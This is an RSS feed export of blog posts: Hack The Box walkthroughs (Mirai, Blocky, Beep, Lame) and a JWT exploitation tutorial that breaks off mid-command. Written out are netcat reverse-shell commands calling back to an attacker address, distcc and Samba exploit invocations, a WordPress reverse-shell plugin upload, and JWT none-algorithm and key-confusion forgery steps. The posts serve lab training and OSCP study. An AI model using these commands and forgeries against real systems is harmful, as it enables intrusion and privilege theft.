            <title><![CDATA[Hack The Box -Mirai Walkthrough]]></title>
            <link>https://barrymalone.medium.com/hack-the-box-mirai-walkthrough-418321a88ef6?source=rss-1ad0ba38f58e------2</link>
            <guid isPermaLink="false">https://medium.com/p/418321a88ef6</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[mirai]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Barry Malone]]></dc:creator>
            <pubDate>Mon, 17 May 2021 19:03:05 GMT</pubDate>
            <atom:updated>2021-05-17T19:03:05.160Z</atom:updated>
            <content:encoded><![CDATA[<p>Like a lot of people I am starting off my OSCP prep by running through TJnull’s OSCP HTB/Vulnhub VM list and doing each box without Metasploit, the fourth Linux box in the list is Mirai.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*aycMJUxuTxcbypI0LjYybA.png" /></figure><p>This machine is the namesake of some <a href="https://en.wikipedia.org/wiki/Mirai_(malware)">IoT malware</a> that caused a stir not to long ago (this turns out to be helpful during research for this box).</p><h3>Recon</h3><p>I kicked off my recon process using <a href="https://github.com/Tib3rius/AutoRecon">AutoRecon</a>, as always super helpful and saves a lot of time.</p><p>Taking a look at the results we have a couple of interesting ports open:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V9iLL7_bDU1yyRb7Qi5pGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*39qFwKonuRSfp4s2kwJKag.png" /></figure><p>SSH on this box accepted password auth, so I quickly ran the nmap ssh-brute script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-AP8wYKYpp89FvZoDDFXWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sDVULNl6TeyTDleWGiOJsQ.png" /></figure><p>This brute forcing didn&#39;t reveal anything useful so I decided to take a look at the other ports running web services.</p><p>Port 80 just served a blank index page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SaMqc0PZCWkLgoFZfvK-VA.png" /></figure><p>I fired up dirsearch and found an admin endpoint, this turned out to be running a raspberry pi instance:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FgS6vUOac47O7kmNhNUOfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*apKuNH93InTihpXHYLnYRQ.png" /></figure><h4>Exploitation</h4><p>At this point I attempted to log in with a bunch of different default creds, I also tried to do some further directory fuzzing to no avail (there was a lot of false positives).</p><p>I knew about the Mirai malware so had to do a bit of googling to go deeper, the malware itself infected/s IoT devices using default credentials.</p><p>Yeah I thought ‘I already tried the Pi default creds’, but I didn&#39;t try them across all the other services running on the box, you can access a raspberry pi via SSH also — testing the default credentials via SSH allowed me to access the host!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HrneE1_y0pDu99mOs5BHBw.png" /></figure><p>From here I quickly grabbed the user flag and got on to enumerating for the root flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*8Fr-LS7m6yjBcaBHB3fxOg.png" /></figure><p>The pi account looks to have sudo access to run everything so getting the root flag should be easy!.. 😜</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yo_KFxQ4OZqLQP9SPnHluw.png" /></figure><p>Cat the root.txt flag and.. Denied! ❌</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rrep-Zkw-IfxDNzkWHXJSQ.png" /></figure><p>So the flag is on a usb, I check out the fstab file to see where we are at in terms of mounting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*YxCrXBEg5wENJw5YVcJOnQ.png" /></figure><p>Navigating to the usb we can find another text file, but still no flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*ZIf0dWBZptdpa0t3aCy_RA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I7C19X8J4PslD3hqFeys9w.png" /></figure><p>From here I was scratching my head to figure out the best way to recover files on Linux hosts (there is a bunch of different ways), it took me 15–20 minutes of poking around, looking in .Trash directories before I remembered “EVERYTHING ON LINUX IS A FILE” so running the strings command against the USB device where the “damnit.txt” file was located and.. reveals the root flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*NoFaHW57JFHomsoU7UgA6Q.png" /></figure><h4>Conclusion</h4><p>This is a super handy and quick to pwn box, always remember to try default creds across all services on a box 👌.</p><p>If you are here, thank you for taking the time to read this short article :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=418321a88ef6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Blocky Walkthrough]]></title>
            <link>https://barrymalone.medium.com/hack-the-box-blocky-walkthrough-2d885e2c93e7?source=rss-1ad0ba38f58e------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d885e2c93e7</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Barry Malone]]></dc:creator>
            <pubDate>Sat, 01 May 2021 08:43:31 GMT</pubDate>
            <atom:updated>2021-05-01T08:43:31.461Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Blocky Walkthrough</h3><p>Like a lot of people I am starting off my OSCP prep by running through TJnull’s OSCP HTB/Vulnhub VM list and doing each box without Metasploit, third Linux box on the list is Blocky.</p><figure><img alt="Hack The Box Blocky" src="https://cdn-images-1.medium.com/max/316/1*5uwQnddo5EVJ5u6R9HhiUA.png" /></figure><p>This was a pretty easy machine, if you have ever exploited WordPress config then gaining a foothold should be easy enough, there is a twist that might be tricky to catch if you have not been burned by it before.</p><h4>Recon</h4><p>I kicked off my recon process using <a href="https://github.com/Tib3rius/AutoRecon">AutoRecon</a>, as always super helpful and saves a lot of time.</p><p>There is a small number of ports open when we check out the full TCP scan results:</p><figure><img alt="Hack The Box Blocky Full TCP Scan NMAP" src="https://cdn-images-1.medium.com/max/1024/1*-8P2Vx6qvYVF4vF1mEwxlg.png" /></figure><p>First I took a look at port 21 running the ProFTPD service, after quickly attempting anonymous and guest logins that both failed, I ran all of the nmap ftp scripts against the host which also did not reveal anything of use:</p><figure><img alt="Hack The Box ProFTPD Blocky" src="https://cdn-images-1.medium.com/max/1024/1*68qO2MFAj02RwfqtphbNbw.png" /></figure><p>I had a dig around at some of the ProFTPD 1.3.5 remote exploits but none of them were applicable or just didn&#39;t work with the version running on the target.</p><p>From here I moved on to taking a look at the web server running on port 80, this looked to be a WordPress site :)</p><figure><img alt="Hack The Box Blocky Homepage Wordpress" src="https://cdn-images-1.medium.com/max/1024/1*sOwIBqjcNZfBGsMJsUbPUw.png" /></figure><p>After checking out the site itself there was not much in the html source of the page so I fired up dirsearch and tried to uncover any interesting directories:</p><figure><img alt="Hack The Box Blocky dirsearch Results" src="https://cdn-images-1.medium.com/max/1024/1*1x4ftJvM8xuH9GPoBIbJNg.png" /></figure><p>Some notable directories are the PhpMyAdmin and Plugins, I made a note of these and then ran WPscan against the site which did not reveal any major plugin vulns but username enumeration did reveal something:</p><figure><img alt="Hack The Box Blocky WPscan Username Enumeration" src="https://cdn-images-1.medium.com/max/1024/1*yx-BV_67985tO4ByzOQ3kw.png" /></figure><p>From here I tried to get into the PhpMyAdmin panel using basic root password attempts which all failed, from here jumping to the Plugins directory we found we can see that there are a couple of jar files on there:</p><figure><img alt="Hack The Box Blocky Plugins Web Directory" src="https://cdn-images-1.medium.com/max/1024/1*7LSE_znfiUpS1aoxum20fQ.png" /></figure><p>We pull them down and fire up <a href="https://github.com/java-decompiler/jd-gui">jd-gui</a> to take a look at the source code and find what seem to be DB creds:</p><figure><img alt="Hack The Box Blocky JD-GUI Source Code" src="https://cdn-images-1.medium.com/max/1024/1*OlsdbYih43lr_XsusEq2jw.png" /></figure><h4>Exploitation</h4><p>Using the discovered credentials I am able to gain access to the PhpMyAdmin panel:</p><figure><img alt="Hack The Box Blocky PhpMyAdmin Login Page" src="https://cdn-images-1.medium.com/max/1024/1*3spfebthSPNApwgBXki-Ew.png" /></figure><p>After taking a quick look around I jumped to the WordPress database and namely the wp_users table, from here I tried to recover the Notch user accounts password but it was salted &amp; hashed:</p><figure><img alt="Hack The Box Blocky wp_users Table" src="https://cdn-images-1.medium.com/max/1024/1*hrPMFxp_hfKPeESSybPhgg.png" /></figure><p>I decided to insert my own admin user into the database (using <a href="https://wpengine.co.uk/support/add-admin-user-phpmyadmin/">this article</a>, it was rather simple):</p><figure><img alt="Hack The Box Blocky Insert User" src="https://cdn-images-1.medium.com/max/1024/1*YcCroyPsLIl9Pp9hzPeCZA.png" /></figure><figure><img alt="Hack The Box Blocky SQL Insert User" src="https://cdn-images-1.medium.com/max/1024/1*K6MR4dHIEhMrObx_S1mszw.png" /></figure><p>note — make sure the user_pass db field is at least set to MD5 or you will not be able to log in:</p><figure><img alt="Hack The Box Blocky MD5 Password Field" src="https://cdn-images-1.medium.com/max/1024/1*7gcBTlOixgyXeuxvF2Ua6A.png" /></figure><p>And then apply the admin perms:</p><figure><img alt="Hack The Box Add Administrator Permissions Wordpress Database" src="https://cdn-images-1.medium.com/max/903/1*qXefgksV35q-OP87OTh0yA.png" /></figure><p>From here I was able to log in with the newly created WordPress administrator account.</p><p>I quickly started netcat and grabbed a WordPress reverse shell plugin from <a href="https://www.sevenlayers.com/index.php/179-wordpress-plugin-reverse-shell">here</a>:</p><figure><img alt="Hack The Box WordPress PHP Reverse Shell Plugin Source Code" src="https://cdn-images-1.medium.com/max/1024/1*attRhOkSF_jcfOmXeO7juA.png" /></figure><p>From here I zip the plugin and upload it to the WordPress site:</p><figure><img alt="Hack The Box WordPress PHP Reverse Shell Zip" src="https://cdn-images-1.medium.com/max/1024/1*BvIRiHOnHqQecT-OqWF37g.png" /></figure><p>We activate the plugin which should execute the PHP and give us a reverse shell:</p><figure><img alt="Hack The Box WordPress PHP Reverse Shell Plugin Upload and Activate" src="https://cdn-images-1.medium.com/max/1024/1*lRxws1RzNNBJn0qTmxycIQ.png" /></figure><p>Meow:</p><figure><img alt="Hack The Box WordPress Plugin Netcat Reverse Shell" src="https://cdn-images-1.medium.com/max/1024/1*7V6TrIhnHy6ipGRqtB9ejQ.png" /></figure><p>After taking a look around we can see that there are only pretty much two users on the system, root and notch.. I see the user flag in the notch directory and could not access it.</p><figure><img alt="Hack The Box Notch User Account" src="https://cdn-images-1.medium.com/max/1024/1*n0rbiHrbdBFboV2soFCaxQ.png" /></figure><figure><img alt="Hack The Box Notch Home Directory" src="https://cdn-images-1.medium.com/max/1024/1*2u8FeIVJT9RLOmOiWm4ujQ.png" /></figure><p>I had a good look around and ran Linpeas.sh which didn&#39;t find much, so from here I decided to try SSH into the box as notch with the password we already had (the twist I was talking about).. Bingo!:</p><figure><img alt="Hack The Box Notch User SSH" src="https://cdn-images-1.medium.com/max/1024/1*K4pzezmy_LvafSRHZLqfjw.png" /></figure><p>I quickly grab the user flag:</p><figure><img alt="Hack The Box Notch User Flag" src="https://cdn-images-1.medium.com/max/779/1*0FeJqMoYYX4oAuDi-zgbLw.png" /></figure><p>Then taking a look at the capabilities of the notch account getting the root flag is trivial:</p><figure><img alt="Hack The Box Notch User Sudo Perms" src="https://cdn-images-1.medium.com/max/1024/1*H5FaTssHa6YHl7D-08ZhSA.png" /></figure><figure><img alt="Hack The Box Blocky Root Flag" src="https://cdn-images-1.medium.com/max/1024/1*kHgK7zHy7SKsT-tZUYEalQ.png" /></figure><p><strong>Conclusion</strong></p><p>This box was fun and pretty easy, in terms of what I took away from this — make sure you utilize information that you already have to move further, password reuse is very very common never rule it out.</p><p>If you are here, thank you for reading :) — on to the next one!</p><p>Cheers,</p><p>Barry</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d885e2c93e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Beep Walkthrough]]></title>
            <link>https://barrymalone.medium.com/hack-the-box-beep-walkthrough-e76404a560c8?source=rss-1ad0ba38f58e------2</link>
            <guid isPermaLink="false">https://medium.com/p/e76404a560c8</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Barry Malone]]></dc:creator>
            <pubDate>Sun, 18 Apr 2021 21:13:06 GMT</pubDate>
            <atom:updated>2021-04-18T21:13:06.543Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Beep Walkthrough</h3><p>Like a lot of people I am starting off my OSCP prep by running through TJnull’s OSCP HTB/Vulnhub VM list and doing each box without Metasploit, the second box on the list is Beep.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*TqnZtUJDl7nemcfxSdIQ6Q.png" /></figure><p>This box was super easy, and the only real difficult thing about it was avoiding going down rabbit holes and chasing your tail!</p><h4>Recon</h4><p>I started with my usual recon process, running <a href="https://github.com/Tib3rius/AutoRecon">AutoRecon</a>, looking at the output we can see there is a good number of ports open.. yay!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rS0lmya9FZerkpgkNHSBWw.png" /></figure><p>Straight off the bat I took a look at the ports running web servers, 80 and 10000.</p><p>On port 80 we find the Elastix software running (this is a UC / pbx kind of software)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gu4dhvcdThmu1dAANOgyYw.png" /></figure><p>On port 10000 it looks like there is a webmin interface running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*33cWxXn0H8xk0rJ7De-JDA.png" /></figure><p>At this point I tried the usual Google for default creds -&gt; try creds on both login pages -&gt; fail!</p><p>After some searching I found the Elastix software was vulnerable to a couple of different exploits, none seemed really applicable (the SQL one did not work for me) bar the LFI vulnerability:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1-KcujulRTK-ux3Pxzm-Gg.png" /></figure><h4>Exploitation</h4><p>Checking out the LFI exploit code/script, I took the commented out line and gave it a test on the target:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xJhCZCsK3IpYLiIeAgYPHA.png" /></figure><p>We validate the the target is vulnerable to the LFI :D :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-p96QXolpR9frcD8XDgSZw.png" /></figure><p>A bit messy so view-source cleans it up somewhat, and we can see if we can find anything juicy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PTgdqFyqKpLrPXZ804wjEQ.png" /></figure><p>Bingo — always good to see creds :) from here I was able to log in to the web app and have a look around:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MbYhQSAeMlSaiJUed21pmQ.png" /></figure><p>At this point I spent about 2 to 3 hours poking around the application and looking for web upload vulns and RCE issues but couldn’t find anything, there were a couple of crafty rabbit holes that I went down — like a built in cms system that looked super shaky.</p><p>After scratching my head for while I decided to just try log in via the sql service running on 3306, no dice.. then I tried SSH.. Bingo!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XzGDlxgxJYU9rcNPoHdSTQ.png" /></figure><h4>Conclusion</h4><p>This box was super simple, I made it slightly more complex by not trying something obvious first!</p><p>If you are here, thanks for reading! on to the next box :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e76404a560c8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Lame Walkthrough]]></title>
            <link>https://barrymalone.medium.com/hack-the-box-lame-walkthrough-cc3a9147e904?source=rss-1ad0ba38f58e------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc3a9147e904</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[lame]]></category>
            <dc:creator><![CDATA[Barry Malone]]></dc:creator>
            <pubDate>Tue, 06 Apr 2021 16:25:08 GMT</pubDate>
            <atom:updated>2021-04-18T21:14:25.848Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Lame Walkthrough</h3><p>Like a lot of people I am starting off my OSCP prep by running through TJnull’s OSCP HTB/Vulnhub VM list and doing each box without Metasploit, starting with Lame.</p><p>I have decided to do writeups on each of the retired machines I complete to help reinforce the techniques and processes each box helps develop.</p><p>Lame is first in the list and was a pretty easy box to root overall , there are a couple of different ways to root this host this is just how I obtained root — lets begin.</p><h3><strong>Recon</strong></h3><p>For doing initial recon I use <a href="https://github.com/Tib3rius/AutoRecon">AutoRecon by Tib3rius</a> it saves a lot of time and outputs scan results nice and neat.</p><p><strong>Command:</strong> python autorecon.py 10.10.10.3</p><p>Checking the quick scan output, we have a couple of ports open:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5WnZtoNf1hL0WDL-3fMOBg.png" /></figure><p><strong>FTP</strong> — The version of VSFTP running on the host appears to be vulnerable to CVE-2011–2523, however the exploit fails/doesn&#39;t complete or bind on port 6200, anonymous login is enabled for this FTP but there is no read/write access once authenticated.</p><p><strong>SSH </strong>— There were no direct SSH vulns I could find that were applicable, I wanted to avoid brute forcing the login.</p><p><strong>SMB </strong>— A quick google for SMB 3.0.20 exploits reveals it may be vulnerable to CVE-2007–2447, lets make a mental note of this for now.</p><p><strong>distccd</strong>— DistCC is a compiler, it runs a daemon process on 3632, a quick look at our autorecon output reveals it is vulnerable to RCE, we start here (yes I did not check the SMB scan output yet :) ).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gibdiB8Ri3ZVEP6OYGpeig.png" /></figure><h3>Exploitation</h3><p>Taking a look into distcc, a quick Google brings me to a <a href="https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855">gist with code related to CVE-2004–2687</a></p><p>This simple script lets us pass the target ip and port (3632) as arguments along with a command to execute on the target.</p><p>Set up our netcat listener:</p><p><strong>Command:</strong> nc -nlvp 4441</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*JxYwxUyeUO6q35PtpF5QDg.png" /></figure><p>Execute the CVE-2004–2687 script passing commands for the target to connect back to our attacker box:</p><p><strong>Command:</strong> python ditccd_rce_CVE-2004–2687.py -t 10.10.10.3 -p 3632 -c “nc 10.10.14.9 4441 -e /bin/bash”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*70dps8w0U0Wd2FvF2fDZoQ.png" /></figure><p>Check our netcat listener and we have a shell as daemon:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*4l3_BDOdIhEEWbFcIGy-ag.png" /></figure><p>After some quick poking around we find the user flag in the makis home directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*mApPixoHlXvKlq0belcUGw.png" /></figure><p>At this point I was taking a look for various privilege escalation options but decided to go back and take a look at the autorecon SMB output/related vulns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XJrthGdNrzeYJhx2nvLNRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAmzO1Gqg7f1bfDcaKHOBA.png" /></figure><p>Going back to our user level daemon session, we can see that the smbd service / process is running as root:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_mmuavv8a6HuYCMdyOgwDQ.png" /></figure><p>After some quick research on CVE-2007–2447, we locate a simple<a href="https://github.com/amriunix/CVE-2007-2447/blob/master/usermap_script.py"> script </a>that will let us pass target ip/port and command args to execute.</p><p>We set up our second netact listener:</p><p><strong>Command:</strong> nc -nlvp 4442</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*T3z5AUHNpCtVXdVuvtDJIQ.png" /></figure><p>And execute the RCE script:</p><p><strong>Command:</strong> python3 usermap_script.py 10.10.10.3 445 10.10.14.9 4442</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*LbJHChEwuPSYGdwm-9bWUw.png" /></figure><p>Checking our listener on 4442 we should now have access</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*ipRjYzddAqtPPw23y6DEAg.png" /></figure><p>We can quickly spawn an interactive python shell and view our root flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*Y85PCcoR5RrzXkpkAgSYvw.png" /></figure><p>Done!</p><h3>Conclusion</h3><p>Super straight forward box, this box made realise I need to include a better “planning” phase in my methodology, i.e once the recon scripts are finished don&#39;t just dive right in, take stock of what you have and then map out your paths, I actively do this somethings but it needs to become second nature.</p><p>If you are here, thanks for reading :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc3a9147e904" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JSON Web Tokens: Beginner Exploitation]]></title>
            <link>https://barrymalone.medium.com/json-web-tokens-beginner-exploitation-5a44f8f6efff?source=rss-1ad0ba38f58e------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a44f8f6efff</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[jwt]]></category>
            <category><![CDATA[json-web-token]]></category>
            <category><![CDATA[web-app-security]]></category>
            <dc:creator><![CDATA[Barry Malone]]></dc:creator>
            <pubDate>Sat, 13 Jun 2020 10:54:59 GMT</pubDate>
            <atom:updated>2021-04-07T14:32:26.716Z</atom:updated>
            <content:encoded><![CDATA[<p>For the last couple of weeks I have been ploughing through some of the learning paths on <a href="https://tryhackme.com/">TryHackMe</a>. (Amazing platform I would recommend to anyone interested in Cyber Security, beginners and pros!)</p><p>Going through the Web centred learning paths there is a bunch of guides and information on how to JSON Web Tokens Work and the potential vulnerabilities that surround them, this brief article is written as a note to myself and to further help understand the underlying concepts of how they work and simple exploitation scenarios.</p><h3>What is a JSON Web Token?</h3><p>JWT (pronounced jot) is pretty much an open standard used to create self-contained access tokens to be used for <strong>Authorisation</strong> (<em>NOT Authentication</em>), Instead of storing user information server side, user data is encoded, serialised and signed then stored client side.</p><p>The information within a JWT can be trusted by an api/application because it can be signed by the issuer using a secret (HMAC) or public / private key pair with RSA or ECDSA, tokens can also be encrypted if necessary.</p><p>Here is a basic flow to illustrate the JWT creation process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K_PAVh9QdQdyEpMTQ4jqFA.png" /></figure><h3>JWT Components</h3><p>There are 3 parts to a JSON Web Token, each being separated by a dot structured like this:</p><p><strong>HEADER</strong>.<strong>PAYLOAD</strong>.<strong>SIGNATURE</strong></p><h4><em>The Header</em> —</h4><p>The Header normally consists of the signing algorithm being used (typically HMAC, SHA256 or RSA) and the type of token (JWT of course), an example header would look like this:</p><p><em>{ “alg”: “HS256”, “typ”: “JWT” }</em></p><p>The header is then base64 encoded to form the first part of the token the above encoded output would be:</p><p><em>ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9</em></p><h4><em>The Payload</em> —</h4><p>The second part of the JWT is the payload, this part of the token normally holds user information and claims, claims are pretty much a key value pair that hold information pertaining to a subject or request, most JWT’s will contain claims like <strong>iss</strong> (issuer), <strong>exp</strong> (expiration time), <strong>sub</strong> (subject). There is a massive list of JTW claims and types you can find <a href="https://www.iana.org/assignments/jwt/jwt.xhtml#claims">here</a>. An example JWT payload would look like this:</p><p><em>{ “sub”: “1234567890”, “name”: “John Doe”, “admin”: true }</em></p><p>Once this is base64 encoded we have the second part of our JWT and our output for this would be:</p><p><em>eyAic3ViIjogIjEyMzQ1Njc4OTAiLCAibmFtZSI6ICJKb2huIERvZSIsICJhZG1pbiI6IHRydWUgfQ</em></p><h4>The Signature —</h4><p>The signature is a really key part of the JWT, it is essentially the component that allows the application/server to verify the request is legitimate and belongs to the requesting user and that the request has not been modified in transit.</p><p>To create the signature we need three things; our base64 encoded header, our base64 encoded payload and the secret we are going to use to sign it.</p><p>For example if we wanted to sign our token with the HMACSHA256 algo, it would be created the following way:</p><p><em>HMACSHA256( base64UrlEncode(header) + “.” + base64UrlEncode(payload), secret)</em></p><p>With our data:</p><p><em>HMACSHA256( base64UrlEncode({ “alg”: “HS256”, “typ”: “JWT” }) + “.” + base64UrlEncode({ “sub”: “1234567890”, “name”: “John Doe”, “admin”: true }), SUPERSECRETKEYHERE)</em></p><p>Which should then give us the below JWT:</p><p><em>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.foR6qo6L-YAMjbM_Bsic97JGtJ3kKss8m0_PVR9rkgA</em></p><h3>JWT Exploitation</h3><h4>The NONE algo —</h4><p>By default some JWT libraries allow for he use of the None algorithm type.</p><p>The NONE algo type is in place in the event that you still want to use JWT but are using methods other than a signature/encryption contained within the JWT to secure it.</p><p>For example, lets say we have a token that — when decoded is output like so:</p><p>{“typ”:”JWT”,”alg”:”HS256&quot;}{“auth”:1591821280290,”role”:”user”,”iat”:1591821280}Z%Ǔ ac@’:m\</p><p>The garbled text you see at the end is the signature in a binary format, we can make some amendments to the token to test for NONE algo issues:</p><p>{“typ”:”JWT”,”alg”:”NONE”}{“auth”:1591821280290,”role”:”administrator”,”iat”:1591821280}</p><p>What we could do now is, re-encode the modified JWT in base64 and feed it to the web application in question and if vulnerable to this attack<br>we could make requests with admin role/perms.</p><p>It may seem far-fetched, but this is a real world issue.</p><h4>BruteForcing The Secret —</h4><p>Bruteforcing a JWT secret is also possible, this is made possible because we essentially have all pieces of the puzzle which is, the token itself!<br>So the fact we have the full JWT token, means in theory we should be able to bruteforce all of the secret possiblities until we get the correct one.</p><p>To do this you can use <a href="https://github.com/lmammino/jwt-cracker">jwt-cracker</a> — this is a pretty trivial utility to use!</p><p>jwt-cracker will NOT crack tokens with complex/long secrets or tokens built on RS256.</p><h4>Fabricating Valid Tokens —</h4><p>This type of attack essentially tricks a consumer (your api/application) into accepting symmetrically signed JWT’s rather than its expected asymmetrically signed JWT’s.</p><p>We need two things for this to work:</p><ul><li>A valid JWT</li><li>Public key of the issuer / api /application</li></ul><p>For brevity sake, we will assume you already have the public key.</p><p>Once we have a fresh JWT, lets decode it:</p><p><em>{“typ”:”JWT”,”alg”:”RS256&quot;}{“iss”:”http:\/\/demo.sjoerdlangkemper.nl\/”,”iat”:1592043873,”exp”:1592043993,”data”:{“hello”:”world”}}</em></p><p>Now we need to change the algo in the header to HS256 and then amend the payload to whatever we need:</p><p><em>{“typ”:”JWT”,”alg”:”HS256&quot;}{“iss”:”http:\/\/demo.sjoerdlangkemper.nl\/”,”iat”:1592043873,”exp”:1592999999,”data”:{“barry”:”cool”}}</em></p><p>Once the token is amended we can re-encode it in base64:</p><p>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU5MjA0Mzg3MywiZXhwIjoxNTkyOTk5OTk5LCJkYXRhIjp7ImJhcnJ5IjoiY29vbCJ9fQ</p><p>Dump your public key out to ACII like so:</p><p><em>cat key.pem | xxd -p | tr -d “\\n”</em></p><p>Which will result in the below output:</p><p><em>2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a</em></p><p>We can now pass this ASCII to our signing operation and sign our modified request:</p><p><em>echo -n “eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU5MjA0Mzg3MywiZXhwIjoxNTkyOTk5OTk5LCJkYXRhIjp7ImJhcnJ5IjoiY29vbCJ9fQ” | openssl dgst -sha256 -mac HMAC -macopt 